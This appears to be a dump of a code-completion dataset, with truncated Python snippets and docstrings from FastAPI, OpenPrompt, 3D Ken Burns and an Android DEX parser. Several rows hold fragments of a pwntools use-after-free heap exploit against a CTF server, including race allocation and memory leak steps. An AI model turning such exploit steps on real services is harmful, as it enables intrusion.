id int64 0 190k | prompt stringlengths 21 13.4M | docstring stringlengths 1 12k ⌀ |
|---|---|---|
17,305 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | ### Creates a new organization ### <u>Args:</u> - **namespace**: Unique namespace for the organization (ex. openai) - **name**: Name of the organization (ex. OpenAI) - **bot_url**: URL of the bot (ex. https://t.me/your_bot) ### <u>Returns:</u> - OrganizationRead --- <details><summary>👇 💻 Code examples:</summary> ### ... |
17,306 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,307 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,308 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,309 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,310 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,311 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,312 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,313 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,314 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,315 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,316 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,317 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,318 | from fastapi import (
FastAPI,
File,
Depends,
HTTPException,
UploadFile
)
from fastapi.openapi.utils import get_openapi
from fastapi.staticfiles import StaticFiles
from sqlmodel import Session, select
from typing import (
List,
Optional,
Union,
Any
)
from datetime import datetime
imp... | null |
17,319 | from sqlalchemy.dialects.postgresql import JSONB
from sqlalchemy.orm import declared_attr
from pgvector.sqlalchemy import Vector
from sqlalchemy import Column
from datetime import datetime
from util import snake_case
import uuid as uuid_pkg
from sqlmodel import (
UniqueConstraint,
create_engine,
Relationshi... | null |
17,320 | from sqlalchemy.dialects.postgresql import JSONB
from sqlalchemy.orm import declared_attr
from pgvector.sqlalchemy import Vector
from sqlalchemy import Column
from datetime import datetime
from util import snake_case
import uuid as uuid_pkg
from sqlmodel import (
UniqueConstraint,
create_engine,
Relationshi... | null |
17,321 | from fastapi import HTTPException
from uuid import UUID
import os
from typing import (
Optional,
Union
)
from config import (
FILE_UPLOAD_PATH,
ENTITY_STATUS,
logger
)
from util import (
is_uuid,
get_file_hash
)
from sqlmodel import (
Session,
select
)
from datetime import datetime
f... | null |
17,322 | from fastapi import (
HTTPException,
FastAPI,
Depends,
)
import requests
import logging
import asyncio
import httpx
import yaml
import sys
import os
logger = logging.getLogger(__name__)
logger.debug(
f"NGROK_HOST: {NGROK_HOST}:{NGROK_PORT}\nNGROK_API_URL: {NGROK_API_URL}\nNGROK_INTERNAL_WEBHOOK_HOST: {N... | null |
17,323 | from fastapi import (
HTTPException,
FastAPI,
Depends,
)
import requests
import logging
import asyncio
import httpx
import yaml
import sys
import os
logger = logging.getLogger(__name__)
logger.debug(
f"NGROK_HOST: {NGROK_HOST}:{NGROK_PORT}\nNGROK_API_URL: {NGROK_API_URL}\nNGROK_INTERNAL_WEBHOOK_HOST: {N... | null |
17,324 | from fastapi import (
HTTPException,
FastAPI,
Depends,
)
import requests
import logging
import asyncio
import httpx
import yaml
import sys
import os
CREDENTIALS_READY = False
async def check_endpoint_availability():
if not CREDENTIALS_READY:
raise HTTPException(status_code=403, detail="Endpoint... | null |
17,325 | from fastapi import (
HTTPException,
FastAPI,
Depends,
)
import requests
import logging
import asyncio
import httpx
import yaml
import sys
import os
async def health_check():
return {"status": "ok"} | null |
17,326 | def depth_to_points(tenDepth, fltFocal):
def spatial_filter(tenInput, strType):
def process_load(npyImage, objSettings):
objCommon['fltFocal'] = 1024 / 2.0
objCommon['fltBaseline'] = 40.0
objCommon['intWidth'] = npyImage.shape[1]
objCommon['intHeight'] = npyImage.shape[0]
tenImage = torch.FloatTensor(numpy.ascon... | null |
17,327 | def process_shift(objSettings):
fltClosestDepth = objCommon['objDepthrange'][0] + (objSettings['fltDepthTo'] - objSettings['fltDepthFrom'])
fltClosestFromU = objCommon['objDepthrange'][2][0]
fltClosestFromV = objCommon['objDepthrange'][2][1]
fltClosestToU = fltClosestFromU + objSettings['fltShiftU']
fltClosestToV ... | null |
17,328 | def process_inpaint(tenShift):
objInpainted = pointcloud_inpainting(objCommon['tenRawImage'], objCommon['tenRawDisparity'], tenShift)
objInpainted['tenDepth'] = (objCommon['fltFocal'] * objCommon['fltBaseline']) / (objInpainted['tenDisparity'] + 0.0000001)
objInpainted['tenValid'] = (spatial_filter(objInpainted['ten... | null |
17,329 | import base64
import cupy
import cv2
import flask
import getopt
import gevent
import gevent.pywsgi
import glob
import h5py
import io
import math
import moviepy
import moviepy.editor
import numpy
import os
import random
import re
import scipy
import scipy.io
import shutil
import sys
import tempfile
import time
import to... | null |
17,330 | import base64
import cupy
import cv2
import flask
import getopt
import gevent
import gevent.pywsgi
import glob
import h5py
import io
import math
import moviepy
import moviepy.editor
import numpy
import os
import random
import re
import scipy
import scipy.io
import shutil
import sys
import tempfile
import time
import to... | null |
17,331 | import base64
import cupy
import cv2
import flask
import getopt
import gevent
import gevent.pywsgi
import glob
import h5py
import io
import math
import moviepy
import moviepy.editor
import numpy
import os
import random
import re
import scipy
import scipy.io
import shutil
import sys
import tempfile
import time
import to... | null |
17,332 | import base64
import cupy
import cv2
import flask
import getopt
import gevent
import gevent.pywsgi
import glob
import h5py
import io
import math
import moviepy
import moviepy.editor
import numpy
import os
import random
import re
import scipy
import scipy.io
import shutil
import sys
import tempfile
import time
import to... | null |
17,333 | import base64
import cupy
import cv2
import flask
import getopt
import gevent
import gevent.pywsgi
import glob
import h5py
import io
import math
import moviepy
import moviepy.editor
import numpy
import os
import random
import re
import scipy
import scipy.io
import shutil
import sys
import tempfile
import time
import to... | null |
17,334 | import base64
import cupy
import cv2
import flask
import getopt
import gevent
import gevent.pywsgi
import glob
import h5py
import io
import math
import moviepy
import moviepy.editor
import numpy
import os
import random
import re
import scipy
import scipy.io
import shutil
import sys
import tempfile
import time
import to... | null |
17,335 | import base64
import cupy
import cv2
import flask
import getopt
import gevent
import gevent.pywsgi
import glob
import h5py
import io
import math
import moviepy
import moviepy.editor
import numpy
import os
import random
import re
import scipy
import scipy.io
import shutil
import sys
import tempfile
import time
import to... | null |
17,336 | netSemantics = Semantics().cuda().eval()
netDisparity = Disparity().cuda().eval()
netDisparity.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-disparity.pytorch', file_name='kenburns-disparity').it... | null |
17,337 | netRefine = Refine().cuda().eval()
netRefine.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-refinement.pytorch', file_name='kenburns-refinement').items() })
def disparity_refinement(tenImage, ten... | null |
17,338 | netMaskrcnn = torchvision.models.detection.maskrcnn_resnet50_fpn(pretrained=True).cuda().eval()
def disparity_adjustment(tenImage, tenDisparity):
assert(tenImage.shape[0] == 1)
assert(tenDisparity.shape[0] == 1)
boolUsed = {}
tenMasks = []
objPredictions = netMaskrcnn([ tenImage[ 0, [ 2, 0, 1 ], :, : ] ])[0]
... | null |
17,339 | netInpaint = Inpaint().cuda().eval()
netInpaint.load_state_dict({ strKey.replace('module', 'net'): tenWeight for strKey, tenWeight in torch.hub.load_state_dict_from_url(url='http://content.sniklaus.com/kenburns/network-inpainting.pytorch', file_name='kenburns-inpainting').items() })
def pointcloud_inpainting(tenImage,... | null |
17,340 | import logging
import time
from typing import Callable
import uvicorn
from fastapi import FastAPI, Request
from routers.embeddings import router
The provided code snippet includes necessary dependencies for implementing the `add_process_time_header` function. Write a Python function `async def add_process_time_header(... | All responses come with process time information |
17,341 | import tensorflow_hub as hub
from fastapi import APIRouter, Body
from schemas.emebeddings import EmbeddingsRequest, EmbeddingsResponse
EMBED = hub.load("https://tfhub.dev/google/universal-sentence-encoder-large/5")
class EmbeddingsRequest(BaseModel):
strings: List[str]
class EmbeddingsResponse(EmbeddingsRequest)... | Embeds a list of strings, returning a list of floats for every string input |
17,342 | import setuptools
import os
import importlib
requires = """
transformers>=4.10.0
sentencepiece==0.1.96
# scikit-learn>=0.24.2
tqdm>=4.62.2
tensorboardX
nltk
yacs
dill
datasets
rouge==1.0.0
pyarrow
scipy
"""
def get_requirements():
ret = [x for x in requires.split("\n") if len(x)>0]
print("requirements:", ret)
... | null |
17,343 | import sys
import datetime
import sphinx_rtd_theme
import doctest
import openprompt
from openprompt import prompts
rst_context = {'openprompt': openprompt}
def setup(app):
def skip(app, what, name, obj, skip, options):
members = [
'__init__',
'__repr__',
'__weakref__',
... | null |
17,344 | import os
import sys
import argparse
from openprompt.trainer import ClassificationRunner, GenerationRunner
from openprompt.lm_bff_trainer import LMBFFClassificationRunner
from openprompt.protoverb_trainer import ProtoVerbClassificationRunner
from re import template
from openprompt.pipeline_base import PromptForClassifi... | null |
17,345 | from typing import *
from tqdm import tqdm
from collections import defaultdict
import warnings
import numpy as np
from paddlenlp.data import Stack, Tuple, Pad
import paddle
from utils import signature
from data_utils import InputFeatures
def create_dataloader(dataset_origin,
mode='train',
... | null |
17,346 | import itertools
import warnings
from typing import Union, List, Tuple, Dict, Optional
from collections import defaultdict
import numpy as np
import inspect
from collections import namedtuple
from math import ceil
The provided code snippet includes necessary dependencies for implementing the `signature` function. Writ... | r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s |
17,347 | import itertools
import warnings
from typing import Union, List, Tuple, Dict, Optional
from collections import defaultdict
import numpy as np
import inspect
from collections import namedtuple
from math import ceil
The provided code snippet includes necessary dependencies for implementing the `round_list` function. Wri... | r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate. |
17,348 | import argparse
import torch
from openprompt import plms
from openprompt.plms import *
from transformers import GPTJConfig, GPTJModel, GPTJForCausalLM, GPT2Tokenizer
from openprompt.plms import load_plm
from openprompt.prompts import MixedTemplate
from openprompt.data_utils.conditional_generation_dataset import UltraCh... | null |
17,349 | import argparse
from yacs.config import CfgNode
import sys
from openprompt.utils.utils import check_config_conflicts
from .default_config import get_default_config
from openprompt.utils.logging import logger
import os
_VALID_TYPES = {tuple, list, str, int, float, bool, type(None)}
The provided code snippet includes ne... | Convert a config node to dictionary |
17,350 | import argparse
from yacs.config import CfgNode
import sys
from openprompt.utils.utils import check_config_conflicts
from .default_config import get_default_config
from openprompt.utils.logging import logger
import os
logger = logging.getLogger()
def save_config_to_yaml(config):
from contextlib import redirect_st... | null |
17,351 | import argparse
from yacs.config import CfgNode
import sys
from openprompt.utils.utils import check_config_conflicts
from .default_config import get_default_config
from openprompt.utils.logging import logger
import os
def get_user_config(usr_config_path, default_config=None):
if default_config is None:
conf... | null |
17,352 | from math import ceil
import os
import shutil
from typing import List
import inspect
from collections import namedtuple
import torch
from yacs.config import CfgNode
from openprompt.utils.logging import logger
The provided code snippet includes necessary dependencies for implementing the `round_list` function. Write a ... | r"""round a list of float e.g. [0.2,1.5, 4.5] to [1,2,4] # ceil and restrict the sum to `max_sum` used into balanced truncate. |
17,353 | from math import ceil
import os
import shutil
from typing import List
import inspect
from collections import namedtuple
import torch
from yacs.config import CfgNode
from openprompt.utils.logging import logger
The provided code snippet includes necessary dependencies for implementing the `signature` function. Write a P... | r"""Get the function f 's input arguments. A useful gadget when some function slot might be instantiated into multiple functions. Args: f (:obj:`function`) : the function to get the input arguments. Returns: namedtuple : of args, default, varargs, keywords, respectively.s |
17,354 | import numpy as np
import string
import re
from collections import Counter
from sklearn.metrics import matthews_corrcoef, f1_score
from scipy.stats import pearsonr, spearmanr
from rouge import Rouge
def get_matthews_corr(data, predictions):
# only cola is using this...?
new_predictions = []
for prediction i... | null |
17,355 | import logging
import os
import datetime
import logging
The provided code snippet includes necessary dependencies for implementing the `config_experiment_dir` function. Write a Python function `def config_experiment_dir(config)` to solve the following problem:
r""" Automatic generate log directory for experiments. Fi... | r""" Automatic generate log directory for experiments. First generate the unique_string of one experiment, if the user didn't specify one, according to the user-defined keys logging.unique_string_keys. Then create the directory. |
17,356 | import logging
import os
import datetime
logger = logging.getLogger()
import logging
def init_logger(
log_file,
log_file_level=logging.NOTSET,
log_level=logging.INFO,
):
if isinstance(log_file_level, str):
log_file_level = getattr(logging, log_file_level)
if isinstance(log_level, str):
... | null |
17,357 | from yacs.config import CfgNode
from openprompt.data_utils import FewShotSampler
from torch.utils.data.dataset import Dataset
from transformers.data.processors.utils import InputExample
from openprompt.pipeline_base import PromptDataLoader, PromptModel, PromptForClassification
from typing import *
import torch
from tqd... | r"""Calibrate. See `Paper <https://arxiv.org/abs/2108.02035>`_ Args: prompt_model (:obj:`PromptForClassification`): the PromptForClassification model. dataloader (:obj:`List`): the dataloader to conduct the calibrate, could be a virtual one, i.e. contain an only-template example. Return: (:obj:`torch.Tensor`) A tensor ... |
17,358 | import torch
from openprompt.utils.logging import logger
logger = logging.getLogger()
The provided code snippet includes necessary dependencies for implementing the `model_to_device` function. Write a Python function `def model_to_device(model, config)` to solve the following problem:
r""" model: the model to be wrap... | r""" model: the model to be wrapped config: the environment subconfig. |
17,359 | from sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score
from typing import *
from openprompt.utils.logging import logger
def loose_micro(labels, preds, id2label, label_path_sep):
if id2label is None:
raise ValueError("no id2label dict provided, cannot calculate loose_micro_f1 !")... | evaluation metrics for classification task. Args: preds (Sequence[int]): predicted label ids for each examples labels (Sequence[int]): gold label ids for each examples metric (str, optional): type of evaluation function, support 'micro-f1', 'macro-f1', 'accuracy', 'precision', 'recall'. Defaults to "micro-f1". Returns:... |
17,360 | from sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score
from typing import *
from openprompt.utils.logging import logger
logger = logging.getLogger()
The provided code snippet includes necessary dependencies for implementing the `generation_metric` function. Write a Python function `def ge... | r"""Some basic metric function for generation. However, many generation tasks has their own evaluation bash scripts. Args: hypos (:obj:`str`) : the generated sentence. refs (:obj:`list(str)`) : the referenced (ground-truth) sentence. metric (:obj:`str`, `optional`) : the type of metric option Returns: score (float): ev... |
17,361 | import os
import sys
import time
from pwn import *
p = remote('out-of-order.chal.perfect.blue', 1337)
print('Generating payload')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print('.', end='')
... | null |
17,362 | import os
import sys
import time
from pwn import *
p = remote('out-of-order.chal.perfect.blue', 1337)
RACE_SIZE = 40000
n_results = RACE_SIZE
print('Generating payload')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end='')
print(',', end=''... | null |
17,363 | import os
import sys
import time
from pwn import *
p = remote('out-of-order.chal.perfect.blue', 1337)
n_results = RACE_SIZE
p.interactive()
def alloc(value):
time.sleep(0.1)
global n_results
p.sendline(b'1')
p.sendline(b'1')
p.sendline(value)
p.sendline(b'2')
p.recvuntil(b' results\n')
... | null |
17,364 | import os
import sys
import time
from pwn import *
p = remote('out-of-order.chal.perfect.blue', 1337)
p.interactive()
def free(i):
time.sleep(0.1)
p.sendline(b'3')
p.sendline(b'%d' % i)
p.recvuntil(b'Choose a result: #')
p.sendline(b'2')
# p.recvuntil(b'Result deleted') | null |
17,365 | import os
import sys
import time
from pwn import *
p = remote('out-of-order.chal.perfect.blue', 1337)
p.interactive()
def read_back(i):
time.sleep(0.1)
p.sendline(b'3')
p.sendline(b'%d' % i)
p.recvuntil(b'Choose a result: #')
p.sendline(b'1')
p.recvuntil(b'Input: ')
value = p.recvuntil(b'\n... | null |
17,366 | import os
import sys
import time
from pwn import *
p = remote('out-of-order.chal.perfect.blue', 1337)
RACE_SIZE = 40000
race_payload = b''.join(b'%d\n' % i for i in range(RACE_SIZE))
log.info('Overlapped chunks: results %d and %d' % (uaf_one, uaf_two))
log.info('Free uaf 1')
log.info('Free shield')
log.info('Leak: ' + ... | null |
17,367 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,368 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,369 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,370 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,371 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,372 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,373 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,374 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,375 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,376 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,377 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,378 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,379 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,380 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,381 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,382 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,383 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,384 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,385 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,386 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,387 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,388 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,389 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,390 | import sys
import struct
import array
import base64
import re
dex_decode = {
0: (0x00, 'nop', 'fmt10x', FMT10X, 1),
1: (0x01, 'move', 'fmt12x', FMT12X, 1),
2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2),
3: (0x03, 'move/16', 'fmt32x', FMT32X, 3),
4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1),
5: (0x05, 'move-wide/fr... | null |
17,391 | import sys
import struct
import array
import base64
import re
func_point = [parse_FMT10T, parse_FMT10X, parse_FMT11N, parse_FMT11X, parse_FMT12X, parse_FMT20T, parse_FMT21C,
parse_FMT21H, parse_FMT21S, parse_FMT21T, parse_FMT22B, parse_FMT22C, parse_FMT22S, parse_FMT22T,
parse_FMT22X, parse_FMT23X, parse_FMT3... | null |
17,392 | import sys
import struct
import array
import base64
import re
func_point = [parse_FMT10T, parse_FMT10X, parse_FMT11N, parse_FMT11X, parse_FMT12X, parse_FMT20T, parse_FMT21C,
parse_FMT21H, parse_FMT21S, parse_FMT21T, parse_FMT22B, parse_FMT22C, parse_FMT22S, parse_FMT22T,
parse_FMT22X, parse_FMT23X, parse_FMT3... | null |
17,393 | import sys
import struct
import array
insfilename ="722044_ins.bin"
import base64
import re
methodTable={}
class CodeItem:
def __init__(self,number,methodname, inssize,insarray):
import getopt
def parseinsfile():
global insfilename
insfile=open(insfilename)
content=insfile.read()
insfile.close()
... | null |
17,394 | import sys
import struct
import array
import base64
import re
def get_uleb128(content):
value = 0
if len(content) < 5:
for i in xrange(0, len(content)):
tmp = ord(content[i]) & 0x7f
value = tmp << (i * 7) | value
if (ord(content[i]) & 0x80) != 0x80:
break
